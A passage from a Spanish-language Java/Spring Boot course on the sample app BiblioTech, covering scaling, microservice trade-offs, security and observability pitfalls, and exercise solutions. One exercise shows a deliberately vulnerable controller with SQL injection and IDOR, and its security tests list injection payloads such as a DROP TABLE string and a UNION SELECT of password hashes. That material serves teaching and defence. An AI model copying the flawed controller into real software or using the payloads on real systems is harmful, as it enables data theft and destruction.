Sin resolver en 30 min → avisar al responsable de guardia.

  1. Cómo hacer crecer BiblioTech

Nexus Software crece y BiblioTech tiene que crecer con ella. Cuatro escenarios y cómo se abordarían:

1. Multi-sede. La empresa abre oficinas en Valencia y Lisboa; cada una con su fondo.

// El dominio incorpora la sede como concepto de primera clase
public record Sede(Long id, String nombre, String ciudad, ZoneId zonaHoraria) { }

public class Ejemplar {                    // NUEVO: separar Material de sus copias físicas
    private Material material;             // el "qué" (compartido)
    private Sede sede;                     // el "dónde"
    private String codigoInterno;
    private EstadoEjemplar estado;
}

Cuidado con las zonas horarias: las multas se calculan por días, y un día no empieza a la misma hora en Madrid y en Lisboa. El Clock inyectable de 10-05 pasa a ser Clock por sede.

2. Notificaciones por correo de verdad. Ya existe el puerto NotificadorAvisos (12-01), así que es escribir un adaptador nuevo — con dos cuidados: envío asíncrono para no bloquear la petición, y reintentos con retroceso exponencial, porque los servidores SMTP fallan.

@Component
class NotificadorCorreoConReintentos implements NotificadorAvisos {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void notificar(Aviso aviso) { … }

    @Recover
    void alAgotarReintentos(MailException e, Aviso aviso) {
        // A una cola de fallidos, para reintento manual. NUNCA perder el aviso en silencio.
        repositorioAvisosFallidos.guardar(AvisoFallido.de(aviso, e));
    }
}

3. Aplicación móvil. No requiere cambios: la API REST de 12-04 ya es su back-end. Lo que sí hay que añadir es lo específico de móvil: notificaciones push, sincronización sin conexión, y paginación por cursor (12-04) porque en móvil se hace desplazamiento infinito.

4. Eventos. BiblioTech ya publica eventos internos con ApplicationEventPublisher (12-02). Cuando otros sistemas de Nexus Software necesiten reaccionar, esos eventos salen a una cola:

@Component
class PublicadorEventosExternos {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publicar(MaterialDevuelto evento) {
        // Patrón "outbox": guardar el evento en la MISMA transacción que el cambio,
        // y publicarlo después desde un proceso aparte.
        // Sin esto, un fallo tras el commit pierde el evento.
        repositorioSalida.guardar(EventoSalida.de(evento));
    }
}

El patrón outbox resuelve un problema real: no hay transacción distribuida entre la base de datos y la cola de mensajes, así que guardar el evento en la misma transacción que el cambio es la única forma de garantizar que ambos ocurren o ninguno.

  1. Cuándo NO trocear en microservicios

Llegado este punto, alguien propondrá dividir BiblioTech en servicio-catalogo, servicio-prestamos, servicio-notificaciones y servicio-informes. Conviene tener claros los costes.

Aspecto Monolito modular Microservicios
Despliegue Uno Uno por servicio
Transacciones ACID de serie Consistencia eventual, saga
Depuración Una traza de pila Trazas distribuidas obligatorias
Refactorizar entre módulos El compilador ayuda Cambio coordinado de contratos
Latencia entre componentes Nanosegundos Milisegundos, y fallos de red
Pruebas de integración Directas Contratos, dobles, entornos
Escalar una parte Escalas todo Solo lo que hace falta
Equipos independientes Coordinación Autonomía
Coste operativo Bajo Alto y permanente

Cuándo NO trocear:

  • El equipo tiene menos de 15-20 personas. Con menos, la coordinación no es el cuello de botella.
  • No hay problemas de escalado que el escalado horizontal (12-06) no resuelva.
  • No hay fronteras de dominio claras. Trocear mal produce un monolito distribuido: los inconvenientes de las dos opciones y las ventajas de ninguna.
  • No hay experiencia operativa: observabilidad, despliegue, gestión de fallos parciales.
  • La razón es «es lo que se lleva».

Cuándo sí:

  • Equipos que se pisan constantemente en el mismo código.
  • Una parte con requisitos de escalado radicalmente distintos.
  • Necesidad de tecnologías distintas para partes distintas.
  • Aislamiento de fallos crítico.

Y el camino intermedio, que es el que casi siempre gana: un monolito modular, que es exactamente lo que BiblioTech es desde 12-01. Módulos con fronteras que el compilador verifica, comunicación por interfaces, y un solo despliegue. Si algún día un módulo necesita salir, sale — y sale fácil, precisamente porque la frontera ya estaba definida.

La recomendación de Martin Fowler, y la más sensata que hay sobre este tema: empieza con un monolito bien modularizado y extrae servicios cuando el dolor lo justifique. Casi nadie ha tenido éxito empezando por microservicios; mucha gente ha tenido éxito extrayéndolos de un monolito que entendía bien.

Errores Comunes y Consejos

1. Guardar contraseñas con SHA-256. Es un buen algoritmo para lo que fue diseñado, y su velocidad —su virtud— es el defecto exacto para contraseñas. BCrypt o Argon2id.

2. JWT de larga duración sin revocación. Un token de 24 horas robado es acceso durante 24 horas. Vigencia corta más token de refresco revocable.

3. Poner datos sensibles en el JWT. No está cifrado. Cualquiera lo lee.

4. Confiar solo en la seguridad de la URL. @PreAuthorize en los servicios también, porque la CLI y las tareas programadas no pasan por los controladores.

5. Olvidar la comprobación de propiedad. Estar autenticado no significa que ese préstamo sea tuyo. Es la vulnerabilidad de control de acceso más frecuente.

6. Métricas con etiquetas de alta cardinalidad. tag("isbn", isbn) crea una serie temporal por ISBN y tumba Prometheus.

7. Registrar cuerpos completos de peticiones. Contraseñas, tokens y datos personales acaban en el agregador durante meses.

8. Alertar sobre causas en vez de sobre síntomas. «CPU alta» se ignora en dos semanas. «El 3 % de las peticiones falla» requiere acción.

9. Alertas sin runbook. A las tres de la mañana, nadie recuerda qué hacer. Enlaza el procedimiento desde la propia alerta.

10. Romper la API sin avisar. Eliminar un campo rompe a todos los clientes. Deprecia con cabeceras, mide el uso y da meses de margen.

11. Actualizar Spring Boot dos versiones mayores de golpe. Sube una menor cada vez, con la suite en verde en cada salto.

12. Trocear en microservicios «porque toca». Sin equipos grandes, fronteras claras y experiencia operativa, es cambiar problemas conocidos por problemas peores.

Consejo final de esta parte: la seguridad y la observabilidad no se añaden al final. Se diseñan desde el principio, aunque se implementen después. BiblioTech pudo añadirlas ahora sin traumas por una razón concreta: tenía arquitectura (12-01), fronteras claras (12-02), errores estructurados (módulo 6), correlación con MDC (11-07) y configuración externa (12-01). En un proyecto sin eso, añadir seguridad y observabilidad es una reescritura.

Ejercicios

Ejercicio 1: cerrar una vulnerabilidad de control de acceso

Este endpoint está en producción en BiblioTech:

@RestController
@RequestMapping("/api/empleados")
public class EmpleadoController {

    @GetMapping("/{id}")
    public Empleado porId(@PathVariable Long id) {
        return repositorio.findById(id).orElseThrow();
    }

    @GetMapping("/{id}/prestamos")
    public List<Prestamo> prestamos(@PathVariable Long id) {
        return prestamoRepositorio.findByEmpleadoId(id);
    }

    @PutMapping("/{id}")
    public Empleado actualizar(@PathVariable Long id, @RequestBody Empleado empleado) {
        empleado.setId(id);
        return repositorio.save(empleado);
    }

    @GetMapping("/buscar")
    public List<Empleado> buscar(@RequestParam String nombre) {
        return em.createQuery("select e from Empleado e where e.nombre like '%" + nombre + "%'",
                              Empleado.class).getResultList();
    }
}

Identifica todas las vulnerabilidades (hay al menos siete), clasifícalas por gravedad y reescribe el controlador de forma segura, con las pruebas de seguridad correspondientes.

Ejercicio 2: métricas y alertas de una funcionalidad nueva

BiblioTech incorpora la renovación automática: los préstamos que vencen y no tienen reservas pendientes se renuevan solos cada noche.

Diseña la observabilidad completa:

  • Qué métricas instrumentar (nombre, tipo, etiquetas) y por qué.
  • Qué se registra y en qué nivel.
  • Tres alertas útiles, con su expresión PromQL, su umbral justificado y su acción.
  • Los paneles del cuadro de mando.
  • Cómo detectarías que la funcionalidad ha dejado de ejecutarse sin que nadie se entere.

Ejercicio 3: plan de evolución de la API

BiblioTech v1 tiene este endpoint, consumido por la app móvil, la intranet y un sistema de recursos humanos:

GET /api/v1/prestamos/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "empleado": "Marta Ruiz",
  "vencimiento": "2026-08-20",
  "devuelto": false,
  "multa": 0
}

Se necesita v2 con: empleado como objeto ({id, nombre, correo}), devuelto sustituido por estado (enumerado), multa como objeto ({importe, moneda}), y campos nuevos renovable y diasRestantes.

Escribe el plan completo de migración: estrategia de versionado, cómo conviven las dos versiones, cronograma de depreciación, cómo mides quién sigue en v1, la comunicación a los clientes y el código de ambas versiones.


Soluciones

Solución 1

Vulnerabilidades identificadas (nueve):

# Vulnerabilidad Gravedad Impacto
1 Inyección SQL en /buscar Crítica Lectura y modificación de toda la base de datos
2 Sin autenticación en ningún endpoint Crítica Acceso público a datos personales
3 IDOR en /{id} y /{id}/prestamos Crítica Cualquiera ve los datos de cualquiera
4 Asignación masiva en PUT con entidad Crítica Cambiar rol, hashContrasena o version
5 Exposición de entidad JPA Alta El JSON incluye el hash de la contraseña
6 PUT sin comprobar autorización Alta Cualquiera modifica a cualquiera
7 orElseThrow() sin excepción específica Media NoSuchElementException → 500 en vez de 404
8 Sin paginación en /buscar Media Denegación de servicio con una búsqueda amplia
9 Sin límite de longitud en nombre Baja Consultas costosas

Reescritura completa:

@RestController
@RequestMapping("/api/v1/empleados")
@Validated
@Tag(name = "Empleados")
public class EmpleadoController {

    private final ServicioEmpleados servicio;
    private final GestionarPrestamos prestamos;

    // ---------------------------------------------------------------
    // Consulta de un empleado: o eres tú, o eres ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleadoResponse porId(@PathVariable Long id) {
        return servicio.buscarPorId(id)
                .map(EmpleadoResponse::desde)          // DTO: sin hash de contraseña, sin rol interno
                .orElseThrow(() -> new EmpleadoNoEncontradoException(id));   // → 404
    }

    // ---------------------------------------------------------------
    // Préstamos: propios, o BIBLIOTECARIO/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/prestamos")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARIO','ADMIN')")
    public PageResponse<PrestamoResponse> prestamosDe(
            @PathVariable Long id,
            @RequestParam(required = false) EstadoPrestamo estado,
            @PageableDefault(size = 20, sort = "fechaPrestamo",
                             direction = Sort.Direction.DESC) Pageable paginacion) {

        if (!servicio.existe(id)) throw new EmpleadoNoEncontradoException(id);

        return PageResponse.desde(
                prestamos.deEmpleado(id, estado, paginacion).map(PrestamoResponse::desde));
    }

    // ---------------------------------------------------------------
    // Actualización: DTO cerrado, nunca la entidad
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleadoResponse actualizar(@PathVariable Long id,
                                       @Valid @RequestBody ActualizarEmpleadoRequest peticion) {
        // El DTO SOLO tiene los campos modificables.
        // Es IMPOSIBLE enviar rol, hashContrasena, version o id.
        return EmpleadoResponse.desde(servicio.actualizar(id, peticion));
    }

    // ---------------------------------------------------------------
    // Cambio de rol: endpoint SEPARADO, solo ADMIN, auditado
    // ---------------------------------------------------------------
    @PutMapping("/{id}/rol")
    @PreAuthorize("hasRole('ADMIN')")
    @Auditado(accion = "CAMBIAR_ROL")
    public EmpleadoResponse cambiarRol(@PathVariable Long id,
                                       @Valid @RequestBody CambiarRolRequest peticion) {
        return EmpleadoResponse.desde(servicio.cambiarRol(id, peticion.rol()));
    }

    // ---------------------------------------------------------------
    // Búsqueda: parametrizada, paginada, con longitud limitada
    // ---------------------------------------------------------------
    @GetMapping("/buscar")
    @PreAuthorize("hasAnyRole('BIBLIOTECARIO','ADMIN')")
    public PageResponse<EmpleadoResumenResponse> buscar(
            @RequestParam @Size(min = 2, max = 100) String nombre,
            @PageableDefault(size = 20) Pageable paginacion) {

        return PageResponse.desde(
                servicio.buscarPorNombre(nombre, paginacion)   // consulta PARAMETRIZADA
                        .map(EmpleadoResumenResponse::desde)); // resumen: menos datos aún
    }
}

Los DTOs, que son donde reside la defensa estructural:

/** Salida: solo lo que este endpoint debe revelar. */
public record EmpleadoResponse(Long id, String nombre, String correo,
                               String departamento, LocalDate fechaAlta) {
    // SIN hashContrasena, SIN rol, SIN version, SIN datos internos
    public static EmpleadoResponse desde(Empleado e) {
        return new EmpleadoResponse(e.getId(), e.getNombre(), e.getCorreo(),
                                    e.getDepartamento(), e.getFechaAlta());
    }
}

/** Resumen para listados: aún menos información. */
public record EmpleadoResumenResponse(Long id, String nombre, String departamento) { }

/** Entrada: SOLO los campos que el usuario puede cambiar de sí mismo. */
public record ActualizarEmpleadoRequest(
        @NotBlank @Size(max = 150) String nombre,
        @NotBlank @Email @Size(max = 200) String correo,
        @Size(max = 100) String departamento) {
    // Ni id, ni rol, ni contraseña, ni version. Estructuralmente imposible.
}

public record CambiarRolRequest(@NotNull Rol rol) { }

Y la consulta segura:

public interface EmpleadoRepository extends JpaRepository<Empleado, Long> {

    /** Parametrizada: el valor NUNCA se interpreta como SQL. */
    @Query("""
           select e from Empleado e
           where lower(e.nombre) like lower(concat('%', :nombre, '%'))
           """)
    Page<Empleado> buscarPorNombre(@Param("nombre") String nombre, Pageable paginacion);
}

Pruebas de seguridad, que son las que impiden que la vulnerabilidad vuelva:

@WebMvcTest(EmpleadoController.class)
@Import(ConfiguracionSeguridad.class)
class EmpleadoControllerSeguridadTest {

    @Autowired MockMvc mvc;
    @MockitoBean ServicioEmpleados servicio;

    @Test
    void sinAutenticacionDevuelve401() throws Exception {
        mvc.perform(get("/api/v1/empleados/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLEADO")
    void unEmpleadoNoPuedeVerLosDatosDeOtro() throws Exception {
        mvc.perform(get("/api/v1/empleados/1"))       // el usuario 2 pide los datos del 1
                .andExpect(status().isForbidden());   // ← el IDOR está cerrado
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void unEmpleadoSiPuedeVerSusPropiosDatos() throws Exception {
        when(servicio.buscarPorId(1L)).thenReturn(Optional.of(unEmpleado(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/empleados/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.nombre").value("Marta Ruiz"))
                // Comprobar EXPLÍCITAMENTE que no se filtra nada
                .andExpect(jsonPath("$.hashContrasena").doesNotExist())
                .andExpect(jsonPath("$.rol").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void noSePuedeEscalarPrivilegiosEnLaActualizacion() throws Exception {
        // Intento de asignación masiva: enviar campos que el DTO no tiene
        mvc.perform(put("/api/v1/empleados/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"nombre":"Marta Ruiz","correo":"[email protected]",
                                 "rol":"ADMIN","hashContrasena":"loquesea","id":999}"""))
                .andExpect(status().isOk());

        // Los campos maliciosos se IGNORAN: el DTO no los tiene
        ArgumentCaptor<ActualizarEmpleadoRequest> captor =
                ArgumentCaptor.forClass(ActualizarEmpleadoRequest.class);
        verify(servicio).actualizar(eq(1L), captor.capture());
        assertThat(captor.getValue().nombre()).isEqualTo("Marta Ruiz");
        // No hay forma de que 'rol' haya llegado al servicio
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE empleado; --",
        "' OR '1'='1",
        "%' UNION SELECT hash_contrasena FROM empleado --"
    })
    @WithMockUser(roles = "BIBLIOTECARIO")
    void laBusquedaEsInmuneAInyeccionSql(String cargaMaliciosa) throws Exception {
        when(servicio.buscarPorNombre(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/empleados/buscar").param("nombre", cargaMaliciosa))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.contenido").isEmpty());

        // La carga llega como VALOR literal al repositorio, no como SQL
        verify(servicio).buscarPorNombre(eq(cargaMaliciosa), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEADO")
    void unEmpleadoNoPuedeCambiarRoles() throws Exception {
        mvc.perform(put("/api/v1/empleados/1/rol")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"rol\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

Solución 2

Métricas:

Métrica Tipo Etiquetas Por qué
bibliotech.renovacion_auto.ejecuciones Counter resultado (exito, fallo) ¿Se ejecuta el proceso?
bibliotech.renovacion_auto.duracion Timer ¿Está degradándose?
bibliotech.renovacion_auto.candidatos Gauge ¿Cuántos préstamos evalúa?
bibliotech.renovacion_auto.renovados Counter tipo_material El resultado útil
bibliotech.renovacion_auto.omitidos Counter motivo La más informativa
bibliotech.renovacion_auto.ultima_ejecucion Gauge Marca de tiempo: detecta que dejó de correr

La clave está en omitidos con etiqueta motivo (con reservas, ya renovado, empleado con multas, material retirado): si un motivo se dispara, hay un cambio de comportamiento que ninguna métrica agregada revelaría.

@Service
public class RenovacionAutomatica {

    private static final Logger log = LoggerFactory.getLogger(RenovacionAutomatica.class);

    private final MeterRegistry registro;
    private final AtomicLong ultimaEjecucion = new AtomicLong(0);

    @PostConstruct
    void registrarGauges() {
        Gauge.builder("bibliotech.renovacion_auto.ultima_ejecucion", ultimaEjecucion, AtomicLong::get)
                .description("Marca de tiempo Unix de la última ejecución correcta")
                .register(registro);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "renovacionAutomatica", lockAtMostFor = "30m")   // 12-06
    public void ejecutar() {
        Timer.Sample muestra = Timer.start(registro);
        MDC.put("proceso", "renovacion-automatica");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renovados = 0;
        Map<String, Integer> omitidos = new HashMap<>();

        try {
            List<Prestamo> candidatos = repositorio.venceenEn(1);
            registro.gauge("bibliotech.renovacion_auto.candidatos", candidatos.size());

            log.info("Renovación automática iniciada: {} candidatos", candidatos.size());

            for (Prestamo p : candidatos) {
                Optional<String> motivo = motivoParaNoRenovar(p);
                if (motivo.isPresent()) {
                    omitidos.merge(motivo.get(), 1, Integer::sum);
                    registro.counter("bibliotech.renovacion_auto.omitidos",
                                     "motivo", motivo.get()).increment();
                    // DEBUG: es el caso normal, no debe llenar el log
                    log.debug("Préstamo {} omitido: {}", p.getId(), motivo.get());
                    continue;
                }
                gestor.renovar(p.getId(), null);
                renovados++;
                registro.counter("bibliotech.renovacion_auto.renovados",
                                 "tipo_material", p.tipoMaterial().name()).increment();
            }

            ultimaEjecucion.set(Instant.now().getEpochSecond());
            registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "exito")
                    .increment();

            // INFO: una línea con el RESUMEN. Es lo que un operador querría ver (11-07).
            log.info("Renovación automática completada: {} candidatos, {} renovados, omitidos={}",
                     candidatos.size(), renovados, omitidos);

        } catch (Exception e) {
            registro.counter("bibliotech.renovacion_auto.ejecuciones", "resultado", "fallo")
                    .increment();
            log.error("Renovación automática fallida tras renovar {}", renovados, e);
            throw e;
        } finally {
            muestra.stop(registro.timer("bibliotech.renovacion_auto.duracion"));
            MDC.clear();       // regla de 11-07
        }
    }
}

Las tres alertas:

# ALERTA 1: el proceso ha dejado de ejecutarse.
# La MÁS IMPORTANTE, porque es un fallo SILENCIOSO: nada da error,
# simplemente los préstamos dejan de renovarse y nadie se entera
# hasta que empiezan a llegar multas indebidas.
- alert: RenovacionAutomaticaNoEjecutada
  expr: (time() - bibliotech_renovacion_auto_ultima_ejecucion) > 93600      # 26 horas
  for: 10m
  labels: { severidad: alta }
  annotations:
    summary: "La renovación automática no se ejecuta desde hace {{ $value | humanizeDuration }}"
    accion: |
      1. ¿Existe el CronJob/planificador? kubectl get cronjob bibliotech-renovacion
      2. ¿Hay un bloqueo de ShedLock atascado? select * from shedlock where name='renovacionAutomatica'
      3. Ejecutar manualmente: bibliotech prestamo renovar-automatico --simular
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacion-auto"

# ALERTA 2: se ejecuta pero falla
- alert: RenovacionAutomaticaFallando
  expr: increase(bibliotech_renovacion_auto_ejecuciones_total{resultado="fallo"}[25h]) > 0
  for: 5m
  labels: { severidad: alta }
  annotations:
    summary: "La renovación automática ha fallado"
    accion: "Buscar en los logs: proceso=renovacion-automatica level=ERROR"

# ALERTA 3: cambio brusco de comportamiento.
# Detecta que una regla se ha roto: por ejemplo, un bug que hace que
# TODO se omita por 'con_reservas' cuando antes no ocurría.
- alert: RenovacionAutomaticaComportamientoAnomalo
  expr: |
    (sum(increase(bibliotech_renovacion_auto_renovados_total[25h]))
     / sum(increase(bibliotech_renovacion_auto_candidatos[25h]))) < 0.2
    and sum(increase(bibliotech_renovacion_auto_candidatos[25h])) > 20
  for: 30m
  labels: { severidad: media }
  annotations:
    summary: "Solo se renueva el {{ $value | humanizePercentage }} de los candidatos"
    descripcion: "Revisa la distribución de bibliotech_renovacion_auto_omitidos por motivo"

Paneles del cuadro de mando:

Panel Consulta Tipo
Última ejecución time() - bibliotech_renovacion_auto_ultima_ejecucion Estadística con umbral
Renovados por día increase(bibliotech_renovacion_auto_renovados_total[1d]) Barras
Omitidos por motivo sum(increase(...omitidos_total[1d])) by (motivo) Barras apiladas
Tasa de renovación renovados / candidatos Medidor
Duración bibliotech_renovacion_auto_duracion_seconds Serie temporal

Cómo detectar que dejó de ejecutarse — el punto central del ejercicio. Hay tres enfoques, y solo uno funciona bien:

Enfoque Problema
Alerta si el contador no crece Un día sin candidatos es normal: falso positivo
Alerta si hay un error Si el proceso no se lanza, no hay error que registrar
Gauge con la marca de tiempo de la última ejecución ✅ Funciona: es dead man's switch

La técnica se llama interruptor de hombre muerto: en lugar de alertar cuando algo va mal, se alerta cuando deja de llegar la señal de que todo va bien. Es el único patrón que detecta que un proceso ha desaparecido, y se aplica igual a tareas programadas, a copias de seguridad y a cualquier proceso periódico.

Solución 3

Estrategia: versión en la URI, /api/v1/ y /api/v2/ conviviendo.

Cronograma:

Fecha Hito
2026-09-01 v2 publicada; v1 marcada como obsoleta con cabeceras
2026-09-01 Guía de migración, documentación y métricas de uso de v1
2026-10-01 Primer aviso a los clientes con uso medido
2027-01-01 Aviso final (1 mes) a quien siga en v1
2027-02-01 v1 retirada: 410 Gone con enlace a v2

Cinco meses de margen, que es el mínimo razonable con tres clientes de los cuales uno (recursos humanos) no controlas.

Código de las dos versiones, compartiendo el mismo caso de uso:

// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestamos")
@Tag(name = "Préstamos v1", description = "OBSOLETA — se retira el 2027-02-01")
public class PrestamoControllerV1 {

    private final GestionarPrestamos gestor;      // el MISMO caso de uso que v2
    private final MeterRegistry registro;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[OBSOLETO] Usa GET /api/v2/prestamos/{id}")
    public ResponseEntity<PrestamoResponseV1> porId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Cliente", defaultValue = "desconocido") String cliente) {

        // Medir QUIÉN sigue usando v1: sin esto, retirarla es una apuesta
        registro.counter("bibliotech.api.v1.uso", "cliente", cliente, "endpoint", "prestamo_por_id")
                .increment();

        Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/prestamos/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migracion-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"Esta versión de la API se retirará el 2027-02-01\"")
                .body(PrestamoResponseV1.desde(prestamo));
    }
}

/** DTO de v1: se CONGELA. No se le añade ni se le quita nada nunca más. */
public record PrestamoResponseV1(Long id, String isbn, String empleado,
                                 LocalDate vencimiento, boolean devuelto, BigDecimal multa) {

    public static PrestamoResponseV1 desde(Prestamo p) {
        return new PrestamoResponseV1(
                p.getId(), p.getIsbn().valor(), p.nombreDelEmpleado(),
                p.getFechaVencimiento(),
                p.getFechaDevolucion().isPresent(),
                p.multaAcumulada(LocalDate.now()).importe());
    }
}
// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestamos")
@Tag(name = "Préstamos")
public class PrestamoControllerV2 {

    @GetMapping("/{id}")
    public PrestamoResponseV2 porId(@PathVariable Long id) {
        Prestamo prestamo = gestor.buscar(id).orElseThrow(() -> new PrestamoNoEncontradoException(id));
        return PrestamoResponseV2.desde(prestamo, LocalDate.now(reloj));
    }
}

public record PrestamoResponseV2(
        Long id,
        String isbn,
        EmpleadoResumen empleado,          // objeto, no cadena
        LocalDate fechaPrestamo,
        LocalDate fechaVencimiento,
        LocalDate fechaDevolucion,
        EstadoPrestamo estado,             // enumerado, no booleano
        Importe multa,                     // objeto con moneda
        boolean renovable,                 // NUEVO
        long diasRestantes) {              // NUEVO

    public record EmpleadoResumen(Long id, String nombre, String correo) { }
    public record Importe(BigDecimal importe, String moneda) { }

    public static PrestamoResponseV2 desde(Prestamo p, LocalDate hoy) {
        return new PrestamoResponseV2(
                p.getId(), p.getIsbn().valor(),
                new EmpleadoResumen(p.getIdEmpleado(), p.nombreDelEmpleado(), p.correoDelEmpleado()),
                p.getFechaPrestamo(), p.getFechaVencimiento(),
                p.getFechaDevolucion().orElse(null),
                p.getEstado(),
                new Importe(p.multaAcumulada(hoy).importe(), "EUR"),
                p.getEstado().permiteRenovar(),
                ChronoUnit.DAYS.between(hoy, p.getFechaVencimiento()));
    }
}

La retirada, que deja un rastro útil en vez de un 404 desconcertante:

@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticion) {
        ProblemDetail detalle = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, no 404: "existió y se eliminó a propósito"
                "La versión 1 de la API se retiró el 2027-02-01. Migra a /api/v2.");
        detalle.setTitle("Versión de API retirada");
        detalle.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracion-v2"));
        detalle.setProperty("versionActual", "v2");
        detalle.setProperty("guiaMigracion", "https://docs.nexussoftware.com/bibliotech/migracion-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detalle);
    }
}

Medición de quién sigue en v1:

# Uso de v1 por cliente en los últimos 7 días
sum(increase(bibliotech_api_v1_uso_total[7d])) by (cliente)

# Porcentaje de tráfico que sigue en v1
sum(rate(bibliotech_api_v1_uso_total[1d]))
/ (sum(rate(bibliotech_api_v1_uso_total[1d])) + sum(rate(bibliotech_api_v2_uso_total[1d])))
- alert: UsoDeV1TrasFechaDeRetirada
  expr: sum(increase(bibliotech_api_v1_uso_total[1d])) by (cliente) > 0
  labels: { severidad: media }
  annotations:
    summary: "El cliente {{ $labels.cliente }} sigue usando la API v1"
    accion: "Contactar antes del 2027-02-01"

Comunicación a los clientes:

# Migración de la API de BiblioTech: v1 → v2

**La v1 se retirará el 1 de febrero de 2027.**

## Qué cambia

| Campo v1 | Campo v2 | Cambio |
|---|---|---|
| `empleado` (cadena) | `empleado.nombre` | Ahora es un objeto con `id`, `nombre` y `correo` |
| `vencimiento` | `fechaVencimiento` | Renombrado |
| `devuelto` (booleano) | `estado` (enumerado) | `ACTIVO`, `RENOVADO`, `VENCIDO`, `DEVUELTO`, `PERDIDO` |
| `multa` (número) | `multa.importe` + `multa.moneda` | Objeto con moneda explícita |
| — | `renovable` | **Nuevo** |
| — | `diasRestantes` | **Nuevo** |
| — | `fechaPrestamo`, `fechaDevolucion` | **Nuevos** |

## Equivalencias

// v1 const estaDevuelto = respuesta.devuelto; const nombre = respuesta.empleado; const multa = respuesta.multa;

// v2 const estaDevuelto = respuesta.estado === 'DEVUELTO'; const nombre = respuesta.empleado.nombre; const multa = respuesta.multa.importe;

## Cronograma
- **2026-09-01**: v2 disponible. v1 obsoleta (funciona con normalidad).
- **2027-01-01**: aviso final.
- **2027-02-01**: v1 retirada. Devolverá `410 Gone`.

## Ayuda
[email protected] — o abre una incidencia en el repositorio.

Y una decisión de diseño que merece señalarse: v1 y v2 comparten el mismo caso de uso (GestionarPrestamos). Solo cambian los DTOs y los controladores. Sin la arquitectura de 12-01, mantener dos versiones significaría duplicar la lógica de negocio, y de ahí a que las dos versiones se comporten distinto hay un paso.


Conclusión: cierre del curso

El viaje de BiblioTech, módulo a módulo

Doce módulos atrás, BiblioTech no existía. Esta tabla es el viaje completo:

Módulo BiblioTech al empezar BiblioTech al terminar
1. Introducción a Java Nada. Ni un fichero Un programa que compila y se ejecuta: variables, tipos, operadores, entrada por consola con Scanner, salida con printf. Un primer catálogo de tres libros con sus datos
2. Flujo de Control Un programa lineal que solo ejecuta instrucciones en orden Un menú interactivo con condicionales, bucles, switch y validación de entrada. Y la capacidad de depurarlo paso a paso en lugar de adivinar
3. POO Variables sueltas y métodos estáticos Objetos: Material, Libro, Empleado, Prestamo con estado y comportamiento propios. Herencia, polimorfismo, encapsulamiento, abstracción y equals/hashCode/toString bien hechos
4. POO Avanzada Jerarquías de clases y poco más Contratos: interfaces Prestable y Notificable, clases abstractas, lambdas, interfaces funcionales, referencias a métodos, enum con comportamiento y record para los datos inmutables
5. Colecciones Arreglos de tamaño fijo Todo el framework de colecciones: listas, mapas, conjuntos, colas, pilas. Ordenación con Comparator, búsquedas, y una pila de deshacer
6. Excepciones Fallos que abortaban el programa con una traza Una jerarquía propia BiblioTechException, try-with-resources, estrategias por capas, frontera de errores y logging
7. Archivos Todo en memoria: se perdía al cerrar Persistencia: E/S clásica, NIO.2, serialización, un catálogo en CSV y configuración en Properties. Los datos sobreviven al proceso
8. Concurrencia Una sola cosa a la vez Hilos, synchronized, ExecutorService, colecciones concurrentes y CompletableFuture. La importación del catálogo pasó de minutos a segundos
9. Redes Un programa aislado en una máquina Comunicación: un ServidorCatalogo multicliente con sockets, UDP, y un cliente HTTP consultando metadatos externos
10. Temas Avanzados Java 8 usado a medias Java 21 de verdad: genéricos, anotaciones propias, reflexión y proxies dinámicos, Streams y Optional, java.time con Clock inyectable, sealed, pattern matching, hilos virtuales, y medición real de memoria y rendimiento
